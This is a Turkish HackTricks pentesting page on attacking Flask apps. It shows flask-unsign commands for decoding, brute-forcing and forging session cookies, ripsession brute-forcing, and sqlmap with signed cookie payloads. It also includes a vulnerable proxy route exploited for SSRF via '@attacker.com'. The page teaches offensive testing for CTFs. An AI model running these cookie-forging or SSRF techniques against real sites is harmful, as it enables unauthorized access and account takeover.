Flask

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması SSTI** ile ilgili olacaktır.**

Çerezler

Varsayılan çerez oturum adı session.

Decoder

Çevrimiçi Flask çerezleri decoder: https://www.kirsle.net/wizards/flask-session.cgi

Manuel

Çerezin ilk kısmını ilk noktaya kadar alın ve Base64 ile decode edin.

bash
echo "ImhlbGxvIg" | base64 -d

Cookie ayrıca bir şifre kullanılarak imzalanmıştır.

Flask-Unsign

Bir Flask uygulamasının oturum çerezlerini gizli anahtarları tahmin ederek almak, çözmek, kaba kuvvetle denemek ve oluşturmak için kullanılan komut satırı aracı.

Client Challenge

bash
pip3 install flask-unsign

Çerezleri Çöz

bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Kaba Güç

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

İmza

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Eski sürümlerle imzalama

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı.

GitHub - Tagvi/ripsession: A command line tool to brute-force websites using cookies crafted with flask-unsign.

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Flask oturum çerezinde SQLi ve SQLmap

Bu örnek sqlmap eval seçeneğini kullanarak flask için sqlmap yüklerini otomatik olarak imzalamak için bilinen bir gizli anahtar kullanır.

SSRF için Flask Proxy

Bu yazıda Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır:

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

Aşağıdaki senaryoda:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Şunu girmeye izin verebilir: "@attacker.com" böylece bir SSRF oluşturulabilir.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin